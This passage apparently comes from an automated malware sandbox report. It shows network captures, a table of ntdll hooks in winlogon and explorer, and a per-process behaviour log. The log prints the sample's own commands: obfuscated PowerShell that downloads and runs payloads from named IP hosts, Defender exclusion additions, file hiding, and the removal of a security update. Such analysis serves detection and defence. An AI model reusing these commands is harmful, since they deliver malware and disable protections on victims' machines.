                                                              2024-07-04 09:16:23 UTC1369INData Raw: 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 69 6d 61 67 65 73 2f 6d 61 72 6b 65 72 2d 69 63 6f 6e 2e 70 6e 67 29 3b 0d 0a 09 7d 0d 0a 0d 0a 0d 0a 2f 2a 20 61 74 74 72 69 62 75 74 69 6f 6e 20 61 6e 64 20 73 63 61 6c 65 20 63 6f 6e 74 72 6f 6c 73 20 2a 2f 0d 0a 0d 0a 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 72 6f 6c 2d 61 74 74 72 69 62 75 74 69 6f 6e 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 29 3b 0d 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 72 6f 6c 2d 61 74 74 72 69 62 75 74 69 6f 6e 2c 0d 0a 2e 6c 65 61
                                                              Data Ascii: ground-image: url(images/marker-icon.png);}/* attribution and scale controls */.leaflet-container .leaflet-control-attribution {background: #fff;background: rgba(255, 255, 255, 0.7);margin: 0;}.leaflet-control-attribution,.lea
                                                              2024-07-04 09:16:23 UTC1369INData Raw: 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 74 6f 75 63 68 20 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 79 65 72 73 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 74 6f 75 63 68 20 2e 6c 65 61 66 6c 65 74 2d 62 61 72 20 7b 0d 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 32 29 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 70 61 64 64 69 6e 67 2d 62 6f 78 3b 0d 0a 09 7d 0d 0a 0d 0a 0d 0a 2f 2a 20 70 6f 70 75 70 20 2a 2f 0d 0a 0d 0a 2e 6c 65 61 66 6c 65 74 2d 70 6f 70 75 70 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 09 6d 61 72 67 69 6e 2d
                                                              Data Ascii: x-shadow: none;}.leaflet-touch .leaflet-control-layers,.leaflet-touch .leaflet-bar {border: 2px solid rgba(0,0,0,0.2);background-clip: padding-box;}/* popup */.leaflet-popup {position: absolute;text-align: center;margin-
                                                              2024-07-04 09:16:23 UTC1369INData Raw: 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 61 2e 6c 65 61 66 6c 65 74 2d 70 6f 70 75 70 2d 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 20 7b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 39 39 39 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 70 6f 70 75 70 2d 73 63 72 6f 6c 6c 65 64 20 7b 0d 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 61 75 74 6f 3b 0d 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 3b 0d 0a 09 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 3b 0d 0a 09 7d 0d 0a 0d 0a 2e 6c 65 61 66 6c 65 74 2d 6f 6c 64 69 65 20 2e 6c 65 61 66 6c 65 74 2d 70 6f 70 75 70 2d 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 20 7b 0d 0a 09 2d 6d 73 2d 7a 6f 6f 6d 3a 20 31 3b
                                                              Data Ascii: }.leaflet-container a.leaflet-popup-close-button:hover {color: #999;}.leaflet-popup-scrolled {overflow: auto;border-bottom: 1px solid #ddd;border-top: 1px solid #ddd;}.leaflet-oldie .leaflet-popup-content-wrapper {-ms-zoom: 1;


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              4192.168.2.64973988.212.202.524436600C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              2024-07-04 09:16:24 UTC400OUTGET /hit?t38.6;r;s1280*1024*24;uhttps%3A//2no.co/redirect-8;hBranded%20Short%20Domain;0.05738304404150585 HTTP/1.1
                                                              Accept: */*
                                                              Accept-Language: en-CH
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                              Host: counter.yadro.ru
                                                              Connection: Keep-Alive
                                                              2024-07-04 09:16:24 UTC603INHTTP/1.1 302 Moved Temporarily
                                                              Server: nginx/1.17.9
                                                              Date: Thu, 04 Jul 2024 09:16:24 GMT
                                                              Content-Type: text/html
                                                              Content-Length: 32
                                                              Connection: close
                                                              Location: https://counter.yadro.ru/hit?q;t38.6;r;s1280*1024*24;uhttps%3A//2no.co/redirect-8;hBranded%20Short%20Domain;0.05738304404150585
                                                              Expires: Tue, 04 Jul 2023 21:00:00 GMT
                                                              Pragma: no-cache
                                                              Cache-control: no-cache
                                                              P3P: policyref="/w3c/p3p.xml", CP="UNI"
                                                              Set-Cookie: FTID=1cXcXe3FoV8q1cXcXe003CQ7; path=/; expires=Thu, 03 Jul 2025 21:00:00 GMT; HttpOnly; Secure; SameSite=None; domain=.yadro.ru
                                                              Strict-Transport-Security: max-age=86400
                                                              2024-07-04 09:16:24 UTC32INData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 4d 6f 76 65 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                              Data Ascii: <html><body>Moved</body></html>


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              5192.168.2.64974188.212.202.524436600C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              2024-07-04 09:16:25 UTC441OUTGET /hit?q;t38.6;r;s1280*1024*24;uhttps%3A//2no.co/redirect-8;hBranded%20Short%20Domain;0.05738304404150585 HTTP/1.1
                                                              Accept: */*
                                                              Accept-Language: en-CH
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                              Host: counter.yadro.ru
                                                              Connection: Keep-Alive
                                                              Cookie: FTID=1cXcXe3FoV8q1cXcXe003CQ7
                                                              2024-07-04 09:16:26 UTC481INHTTP/1.1 200 OK
                                                              Server: nginx/1.17.9
                                                              Date: Thu, 04 Jul 2024 09:16:25 GMT
                                                              Content-Type: image/gif
                                                              Content-Length: 445
                                                              Connection: close
                                                              Expires: Tue, 04 Jul 2023 21:00:00 GMT
                                                              Pragma: no-cache
                                                              Cache-control: no-cache
                                                              P3P: policyref="/w3c/p3p.xml", CP="UNI"
                                                              Set-Cookie: VID=0VpEI-1gZFOq1cXcXf003CbK; path=/; expires=Thu, 03 Jul 2025 21:00:00 GMT; HttpOnly; Secure; SameSite=None; domain=.yadro.ru
                                                              Access-Control-Allow-Origin: *
                                                              Strict-Transport-Security: max-age=86400
                                                              2024-07-04 09:16:26 UTC445INData Raw: 47 49 46 38 37 61 1f 00 1f 00 d5 00 00 02 02 02 82 56 06 da be 86 42 2e 0a c2 82 02 22 1a 06 a2 6a 06 32 26 08 62 42 06 de ae 42 fa de a1 b2 76 02 5a 4e 3e ea a2 16 2a 26 1a ee d6 aa 52 36 06 2a 22 0a da a2 2a 3a 26 08 94 62 06 da 92 02 a6 72 12 26 22 0b ac 72 02 4a 2e 0a ca 86 02 72 4a 06 fe de 9e ba 7a 02 f2 de ae 24 1e 0e 36 26 08 fe de 9a fe ba 32 fe c6 52 fe aa 02 5e 3e 08 8e 5e 06 9e 6a 06 7e 52 06 f2 da b2 4e 36 0a 6a 46 06 f7 de a6 26 1e 0a a5 6e 02 f2 da ae 56 3a 0a 3e 2a 08 de 96 06 4e 32 06 86 5a 06 46 2e 06 c6 86 02 b6 7a 02 2e 22 08 96 66 06 ae 76 02 ce 8a 02 76 4e 06 bc 7e 02 f6 de aa c6 82 02 2c 00 00 00 00 1f 00 1f 00 00 06 e2 c0 10 67 a8 28 16 59 48 96 6f e9 f3 bc 9e d0 94 54 fa 48 84 46 a4 ac 76 cb ed 76 1b 94 ab 77 4c d6 6a c2 d8 b2 9a
                                                              Data Ascii: GIF87aVB."j2&bBBvZN>*&R6*"*:&br&"rJ.rJz$6&2R^>^j~RN6jF&nV:>*N2ZF.z."fvvN~,g(YHoTHFvvwLj


                                                              Code Manipulations

                                                              User Modules

                                                              Hook Summary

                                                              Function NameHook TypeActive in Processes
                                                              ZwEnumerateKeyINLINEwinlogon.exe, explorer.exe
                                                              NtQuerySystemInformationINLINEwinlogon.exe, explorer.exe
                                                              ZwResumeThreadINLINEwinlogon.exe, explorer.exe
                                                              NtDeviceIoControlFileINLINEwinlogon.exe, explorer.exe
                                                              ZwDeviceIoControlFileINLINEwinlogon.exe, explorer.exe
                                                              NtEnumerateKeyINLINEwinlogon.exe, explorer.exe
                                                              NtQueryDirectoryFileINLINEwinlogon.exe, explorer.exe
                                                              ZwEnumerateValueKeyINLINEwinlogon.exe, explorer.exe
                                                              ZwQuerySystemInformationINLINEwinlogon.exe, explorer.exe
                                                              NtResumeThreadINLINEwinlogon.exe, explorer.exe
                                                              RtlGetNativeSystemInformationINLINEwinlogon.exe, explorer.exe
                                                              NtQueryDirectoryFileExINLINEwinlogon.exe, explorer.exe
                                                              NtEnumerateValueKeyINLINEwinlogon.exe, explorer.exe
                                                              ZwQueryDirectoryFileExINLINEwinlogon.exe, explorer.exe
                                                              ZwQueryDirectoryFileINLINEwinlogon.exe, explorer.exe

                                                              Processes

                                                              Process: winlogon.exe, Module: ntdll.dll
                                                              Function NameHook TypeNew Data
                                                              ZwEnumerateKeyINLINE0xE9 0x9C 0xC3 0x32 0x2C 0xCF
                                                              NtQuerySystemInformationINLINE0xE9 0x9C 0xC3 0x32 0x2A 0xAF
                                                              ZwResumeThreadINLINE0xE9 0x9A 0xA3 0x32 0x27 0x7F
                                                              NtDeviceIoControlFileINLINE0xE9 0x90 0x03 0x33 0x34 0x4F
                                                              ZwDeviceIoControlFileINLINE0xE9 0x90 0x03 0x33 0x34 0x4F
                                                              NtEnumerateKeyINLINE0xE9 0x9C 0xC3 0x32 0x2C 0xCF
                                                              NtQueryDirectoryFileINLINE0xE9 0x9A 0xA3 0x32 0x2B 0xBF
                                                              ZwEnumerateValueKeyINLINE0xE9 0x90 0x03 0x33 0x31 0x1F
                                                              ZwQuerySystemInformationINLINE0xE9 0x9C 0xC3 0x32 0x2A 0xAF
                                                              NtResumeThreadINLINE0xE9 0x9A 0xA3 0x32 0x27 0x7F
                                                              RtlGetNativeSystemInformationINLINE0xE9 0x9C 0xC3 0x32 0x2A 0xAF
                                                              NtQueryDirectoryFileExINLINE0xE9 0x97 0x73 0x30 0x0A 0xAF
                                                              NtEnumerateValueKeyINLINE0xE9 0x90 0x03 0x33 0x31 0x1F
                                                              ZwQueryDirectoryFileExINLINE0xE9 0x97 0x73 0x30 0x0A 0xAF
                                                              ZwQueryDirectoryFileINLINE0xE9 0x9A 0xA3 0x32 0x2B 0xBF
                                                              Process: explorer.exe, Module: ntdll.dll
                                                              Function NameHook TypeNew Data
                                                              ZwEnumerateKeyINLINE0xE9 0x9C 0xC3 0x32 0x2C 0xCF
                                                              NtQuerySystemInformationINLINE0xE9 0x9C 0xC3 0x32 0x2A 0xAF
                                                              ZwResumeThreadINLINE0xE9 0x9A 0xA3 0x32 0x27 0x7F
                                                              NtDeviceIoControlFileINLINE0xE9 0x90 0x03 0x33 0x34 0x4F
                                                              ZwDeviceIoControlFileINLINE0xE9 0x90 0x03 0x33 0x34 0x4F
                                                              NtEnumerateKeyINLINE0xE9 0x9C 0xC3 0x32 0x2C 0xCF
                                                              NtQueryDirectoryFileINLINE0xE9 0x9A 0xA3 0x32 0x2B 0xBF
                                                              ZwEnumerateValueKeyINLINE0xE9 0x90 0x03 0x33 0x31 0x1F
                                                              ZwQuerySystemInformationINLINE0xE9 0x9C 0xC3 0x32 0x2A 0xAF
                                                              NtResumeThreadINLINE0xE9 0x9A 0xA3 0x32 0x27 0x7F
                                                              RtlGetNativeSystemInformationINLINE0xE9 0x9C 0xC3 0x32 0x2A 0xAF
                                                              NtQueryDirectoryFileExINLINE0xE9 0x97 0x73 0x30 0x0A 0xAF
                                                              NtEnumerateValueKeyINLINE0xE9 0x90 0x03 0x33 0x31 0x1F
                                                              ZwQueryDirectoryFileExINLINE0xE9 0x97 0x73 0x30 0x0A 0xAF
                                                              ZwQueryDirectoryFileINLINE0xE9 0x9A 0xA3 0x32 0x2B 0xBF

                                                              Statistics

                                                              CPU Usage

                                                              Click to jump to process

                                                              Memory Usage

                                                              Click to jump to process

                                                              High Level Behavior Distribution

                                                              Click to dive into process behavior distribution

                                                              Behavior

                                                              Click to jump to process

                                                              System Behavior

                                                              General

                                                              Target ID:0
                                                              Start time:05:16:00
                                                              Start date:04/07/2024
                                                              Path:C:\Users\user\Desktop\file.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Users\user\Desktop\file.exe"
                                                              Imagebase:0x400000
                                                              File size:36'864 bytes
                                                              MD5 hash:92D4E2EF88E5AAFB72DDDE13E84B549A
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:low
                                                              Has exited:true

                                                              General

                                                              Target ID:2
                                                              Start time:05:16:00
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/L.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                                                              Imagebase:0x280000
                                                              File size:433'152 bytes
                                                              MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:3
                                                              Start time:05:16:00
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:4
                                                              Start time:05:16:00
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/M.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                                                              Imagebase:0x280000
                                                              File size:433'152 bytes
                                                              MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:5
                                                              Start time:05:16:00
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:6
                                                              Start time:05:16:01
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/S.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                                                              Imagebase:0x280000
                                                              File size:433'152 bytes
                                                              MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:7
                                                              Start time:05:16:01
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:8
                                                              Start time:05:16:03
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\SysWOW64\ipconfig.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Windows\system32\ipconfig.exe" /flushdns
                                                              Imagebase:0xfd0000
                                                              File size:29'184 bytes
                                                              MD5 hash:3A3B9A5E00EF6A3F83BF300E2B6B67BB
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate
                                                              Has exited:true

                                                              General

                                                              Target ID:9
                                                              Start time:05:16:03
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\SysWOW64\ipconfig.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Windows\system32\ipconfig.exe" /flushdns
                                                              Imagebase:0xfd0000
                                                              File size:29'184 bytes
                                                              MD5 hash:3A3B9A5E00EF6A3F83BF300E2B6B67BB
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate
                                                              Has exited:true

                                                              General

                                                              Target ID:10
                                                              Start time:05:16:03
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
                                                              Imagebase:0x280000
                                                              File size:433'152 bytes
                                                              MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:12
                                                              Start time:05:16:09
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\SysWOW64\cmd.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Public\0x1.log
                                                              Imagebase:0x7ff66e660000
                                                              File size:236'544 bytes
                                                              MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:13
                                                              Start time:05:16:09
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\SysWOW64\attrib.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:attrib +h C:\Users\Public\0x1.log
                                                              Imagebase:0x4c0000
                                                              File size:19'456 bytes
                                                              MD5 hash:0E938DD280E83B1596EC6AA48729C2B0
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate
                                                              Has exited:true

                                                              General

                                                              Target ID:14
                                                              Start time:05:16:10
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\SysWOW64\ipconfig.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Windows\system32\ipconfig.exe" /flushdns
                                                              Imagebase:0xfd0000
                                                              File size:29'184 bytes
                                                              MD5 hash:3A3B9A5E00EF6A3F83BF300E2B6B67BB
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate
                                                              Has exited:true

                                                              General

                                                              Target ID:15
                                                              Start time:05:16:10
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                              Imagebase:0x4d0000
                                                              File size:45'984 bytes
                                                              MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:false

                                                              General

                                                              Target ID:16
                                                              Start time:05:16:14
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\wscript.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:"C:\Windows\system32\wscript.exe" //E:VBScript C:\Users\Public\0x1.log //Nologo
                                                              Imagebase:0x7ff7857d0000
                                                              File size:170'496 bytes
                                                              MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                              Has elevated privileges:false
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:17
                                                              Start time:05:16:15
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                                                              Imagebase:0x7ff6e3d50000
                                                              File size:452'608 bytes
                                                              MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                              Has elevated privileges:false
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:18
                                                              Start time:05:16:15
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:false
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:20
                                                              Start time:05:16:18
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\ipconfig.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:"C:\Windows\system32\ipconfig.exe" /flushdns
                                                              Imagebase:0x7ff683890000
                                                              File size:35'840 bytes
                                                              MD5 hash:62F170FB07FDBB79CEB7147101406EB8
                                                              Has elevated privileges:false
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:21
                                                              Start time:05:16:18
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                              Imagebase:0x910000
                                                              File size:45'984 bytes
                                                              MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                              Has elevated privileges:false
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Has exited:false

                                                              General

                                                              Target ID:22
                                                              Start time:05:16:19
                                                              Start date:04/07/2024
                                                              Path:C:\Users\user\AppData\Roaming\LB311.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:"C:\Users\user\AppData\Roaming\LB311.exe"
                                                              Imagebase:0x7ff767890000
                                                              File size:7'633'920 bytes
                                                              MD5 hash:C4BEF67027DB50C7F4F3A64584FED4A7
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Antivirus matches:
                                                              • Detection: 100%, Joe Sandbox ML
                                                              Has exited:true

                                                              General

                                                              Target ID:25
                                                              Start time:05:16:21
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\svchost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                              Imagebase:0x7ff7403e0000
                                                              File size:55'320 bytes
                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:26
                                                              Start time:05:16:21
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                              Imagebase:0x7ff6e3d50000
                                                              File size:452'608 bytes
                                                              MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:27
                                                              Start time:05:16:21
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:28
                                                              Start time:05:16:22
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\wscript.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:"C:\Windows\system32\wscript.exe" //E:VBScript C:\Users\Public\0x1.log //Nologo
                                                              Imagebase:0x7ff7857d0000
                                                              File size:170'496 bytes
                                                              MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                              Has elevated privileges:false
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:29
                                                              Start time:05:16:23
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                                                              Imagebase:0x7ff6e3d50000
                                                              File size:452'608 bytes
                                                              MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                              Has elevated privileges:false
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:30
                                                              Start time:05:16:23
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:false
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:31
                                                              Start time:05:16:23
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\cmd.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                              Imagebase:0x7ff7a48d0000
                                                              File size:289'792 bytes
                                                              MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:32
                                                              Start time:05:16:23
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop UsoSvc
                                                              Imagebase:0x7ff7abf20000
